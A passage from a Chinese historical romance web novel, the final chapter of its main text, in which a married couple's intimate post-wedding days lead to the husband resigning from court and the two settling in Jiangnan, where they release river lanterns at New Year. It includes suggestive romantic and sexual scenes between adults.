昨夜的记忆逐渐回笼,姜芸薇羞臊不已,害怕春桃和碧荷两人一会进来瞧见,她连忙就要起身下榻。 然而,季珣却长臂一捞,将人拉回了怀中,“阿姐,丫鬟会收拾的,你别管了,陪我再睡一会。” 姜芸薇在他怀中微弱地挣扎了两下,“不行,让人瞧见了不好。” 季珣咬着她白玉般的耳垂,轻声道:“有什么不好的?昨夜我们那么大动静,你以为她们没有听见吗,况且,昨夜可是叫了好几次水,阿姐,何必掩耳盗铃?” 闻言,姜芸薇顿时又羞又窘,不知该说些什么。 季珣抚摸着姜芸薇身上斑驳的痕迹,眸光晦涩不明,“阿姐,昨夜我是不是弄疼你了?” 姜芸薇将头埋进他的胸腔,似乎恨不得挖个地洞钻进去,她嗓音闷闷的,“没有,你莫要再说这些了。”《 》 第78章 正文完结 第78章 正文完结 生生世世,永不分…… 知晓她面皮薄, 季珣也不再继续逗弄她,他将姜芸薇揽入怀中,任由她将小脸轻轻靠在他健硕坚实的胸膛上。 姜芸薇乌黑的发丝恍若锦缎般, 泛着淡淡的香气。 季珣指尖捻起她一缕乌发, 在手中慢悠悠地绕着圈。 他突而将那缕青丝置于鼻端轻嗅,低喃道:“阿姐,你身上好香。” 姜芸薇臊红了脸, 低声嗔道:“夫君, 你别这样。” 她以前怎么没有发觉,季珣这般孟浪缠人? 季珣语气顿时委屈起来, “阿姐,你嫌弃我了?你开始嫌我烦了?” “没有。”姜芸薇连忙摇了摇头, 她轻叹口气, 语气像哄孩子似的, “夫君, 快些睡吧。” 感受着怀中温热绵软的躯体, 季珣心中溢满了满足感。 仅仅只是这般静静相拥,便令他心猿意马起来。 少年初经云雨,自然不免有些食髓知味,然而想到昨夜,他确实把人折腾得狠了,只得强行按捺住心底翻涌的欲念。 两人又闭目睡去,这一觉一直睡到了申时。 姜芸薇起身下榻, 刚走了两步,便觉浑身酸痛,尤其是两条腿,绵软无力。 察觉到她的异常, 季珣亲自抱着她去了净室盥洗。 他又叫了下人进来收拾屋内的狼藉,姜芸薇鹌鹑似的,缩在锦被中,不敢抬头。 待到人走后,季珣突然伸手去扯她的绸裤。 姜芸薇脸色一变,慌忙按住他的手,“夫君,你做什么?我真不行了。” 瞧见她一副如临大敌的模样,季珣唇角漾起一抹笑意,他晃了晃手中的药膏,“阿姐,我只是想给你上药而已,你想什么呢?” 姜芸薇又羞又窘,她磕磕巴巴道:“我自己来上就好了。” “你看不见,多有不便。”季珣轻笑,“况且昨夜阿姐身上我哪里没看过,我们是夫妻,阿姐何必害羞呢?” 姜芸薇咬着下嘴唇,终是缓缓松了手。 她是知晓季珣那股子缠人劲儿的,况且那处确实有些痛,便也不再继续坚持。 季珣半跪在她身侧,低垂着脑袋,极为认真细致地给她上了药。 姜芸薇将头埋在锦被中,耳尖通红,羞得不敢看他。 待到上过药后,季珣好笑地握住她的手,将人拉了起来。 姜芸薇的手纤细小巧,足足比他的手掌小了近半,他轻而易举便能够将她整个手掌完全包裹住。 她的别处也很小。 也不知晓昨夜究竟是如何吃下他的。 * 季珣这段时日休沐在家,几乎每日都与她待在一起,形影不离。 待到九日婚假结束后,季珣就要上朝去了。 姜芸薇一个人待在府中,心中突然多了几分空落落的感觉。 她如今乃是季珣明媒正娶的夫人,自然有不少高门贵女给她递宴请帖子,姜芸薇待在府中无事,索性便应了邀约,前去赴宴。 只是,她出身乡野,虽然如今已经认祖归宗,身后却无半分权势依仗,贵女们表面上笑意盈盈,暗地里却处处排挤、语带挖苦,姜芸薇性子软,不喜与人发生冲突,只好将满腹委屈都咽进肚子里。 只是从这以后,她就再也不去赴宴了。 这日傍晚,屋外下起了朦胧细雨。 季珣自朝堂回来后,两人用过晚膳,便早早便上了榻歇息。 才躺下没多久,季珣便开始不老实,姜芸薇按住那只攀在她腿骨处的手掌,无奈道:“夫君,你不累吗?昨日不是刚做过了?” 季珣在她耳边蛊惑般轻声说道:“阿姐,我不做,今日我来伺候你可好?” 姜芸薇脸颊绯红,一双黑葡萄般水润莹亮的眸子一眨不眨地望着他,面上荡漾着几分踌躇怯意。 季珣不等她回答,便弯下了腰。 姜芸薇情不自禁地弓起身子。 窗外细雨斜斜,雨丝打在宽大的芭蕉叶上,发出淅淅沥沥的声响。 季珣竭尽所能地取悦着她,这段时日朝夕相伴,他已经熟知她身上每一处软嫩敏.感的所在。 蕉叶被雨水打湿,积水顺着碧绿的嫩叶蜿蜒流下,水声潺潺。 恍若在品尝一颗剥了壳的荔枝,轻啜慢吮,将淋漓的汁水尽数吞咽干净。 看着姜芸薇因他而欢愉失守,令他感到无比满足。 姜芸薇仰颈,只觉得浑身每一寸骨头都酥了,眼前似乎闪过一道道细碎白光,绣着鸳鸯戏水图案的锦被上,早已晕开一片湿痕。 待到结束后,姜芸薇似乎被抽干了浑身所有的力气,软软地依偎在他的怀中。 两人谁都没有说话,享受着这片刻的安宁美好。 季珣突然开口,“阿姐,不如我们离开京城吧?好不好?” 姜芸薇愣了一下,“夫君,好端端的,为何要离开京城?” 季珣平叛有功,如今圣眷正浓,将来前途定然是不可限量,为何他却要在这个节骨眼下离开京城? 季珣目中溢满了缱绻柔情,“阿姐,你不是不喜欢京城吗?待我辞官以后,我们可以去江南,听闻那里山清水秀,风景怡人,我们还可以一起去塞北,去大漠……行遍山河,看尽人间盛景。” 闻言,姜芸薇不禁有些意动,然而转念想到季珣寒窗苦读十年,如今好不容易位极人臣,倘若此时辞官离去,岂不是一切皆付诸东流了? 季珣抬手轻轻抚了抚她的脸颊,眸中多了几分阴鸷之色,“阿姐,你前几日赴宴受了委屈,为何不告诉我?” 姜芸薇眼睫颤了颤,“你从哪听来的?没受什么委屈,不过只是几句闲话罢了。” 难不成季珣就是因为这个,就要辞官离开京城?她纵然不喜欢京城,却也万万不愿因为自己的缘故,令季珣弃了这来之不易的仕途。 思及此,姜芸薇软声劝道:“夫君,待你休沐之时,我们也可以去游山玩水,何必非要辞官呢?” 季珣唇角微扬,“阿姐,我虽助陛下平叛有功,然而宦海沉浮,尔虞我诈,实非我愿,常言道,狡兔死,走狗烹,今日我盛宠在身,焉知来日不会触怒天颜,落得个身首异处的下场?况且伴君 如伴虎,京中繁文缛节、束缚颇多,倒不如和阿姐纵情山水,来得自在快活。” 他早就动过辞官归隐的念头了,这一世,他本就不执著于权势,他只想将余生光阴,都用来陪着姜芸薇,他不愿让姜芸薇,独自一人守在府中,孤零零等着他下朝归来。 姜芸薇见他心意已决,便柔声道:“夫君,我都听你的。” * 季珣向秦煜提出辞官归隐,秦煜再三婉留,言辞恳切,甚至许以太傅之位,然而,季珣却是心意已决,秦煜无奈,只好赏赐他黄金万两,准他离去。 望着季珣渐行渐远的身影,秦煜忍不住在心中感慨:果然是自古英雄难过美人关啊,早从初见那日,他就看出来了,季珣的那位姐姐,便是他此生唯一的软肋。” 季珣辞官归隐的消息传出后,顷刻间震动朝堂,满朝文武一片哗然,谁都没有料到,他竟然甘愿放弃唾手可得的滔天权势,毅然辞官归隐,甘做一介布衣。 数月之后,这位昔日的状元郎依旧是百姓们口中津津乐道的传奇人物,据传他乃是文曲星下凡,三元及第,辅佐新帝平定叛乱,功不可没,却又在恩宠正盛时,激流勇退,辞官退隐,携美人畅游山水,不问尘俗,不亦乐乎。 然而这些,季珣和姜芸薇两人都已经不知晓了。 江南的冬日,不像京城北地那般朔风凛冽,而是从骨子里透出来的湿冷。 年关将近,整个江南都笼罩在一片喜庆的红色中,黛瓦白墙上,挂满了红灯笼,乌篷船轻摇着橹桨,远处水榭间飘来婉转的歌声,青石板路的地面被雨水浸得发亮,岸边的腊梅疏影横斜,隐有暗香浮动,家家户户新换桃符,迎接新春到来。 到了除夕夜,长街上人声鼎沸,车如流水马如龙,一派繁华盛景,季珣紧牵着姜芸薇的手,护着她穿过熙攘人群。 两人来到秦淮河畔,水面上早已经飘满了湖灯,点点灯火映得湖面暖融融一片,恍若漫天星子坠落凡尘。 季珣买了两盏赤红色的鸳鸯莲灯,递了一盏到姜芸薇手中。 姜芸薇从善如流接过,她眉头微蹙,似乎有些苦恼,“写什么好呢?” 她沉吟一瞬后,笑眼盈盈写下:愿得一人心,白首不相离。 季珣也跟着落笔:愿与阿姐,生生世世,永不分离。 姜芸薇笑话他,“夫君真是贪心,一世还不够,竟然还想要生生世世。” 季珣凝眸望她,语气之中多了几分危险的意味,“怎么,阿姐难道来生不想和我再续鸳盟?” 姜芸薇忙不迭点头,“愿意,愿意,自然愿意。” 两人相视一笑,将河灯放入水中,烛火轻晃,随波远去。 晚风轻拂,两人并肩坐在河畔青石上,姜芸薇轻靠在季珣肩头,听着耳畔爆竹声连绵起伏,望着眼前灯影瞳瞳,她的心底一片安稳平和。 季珣突然攥住她的手,“阿姐,你可知晓,去年除夕,我们一起放河灯时,我许了什么心愿?” 姜芸薇侧过脸,一脸好奇,“什么心愿?” 季珣却只是浅浅一笑,并不作答。 他的心愿,早已成真。 他希望往后的日子,年年岁岁,朝朝暮暮,所爱之人皆在身侧,永不分离。 【正文完】《 》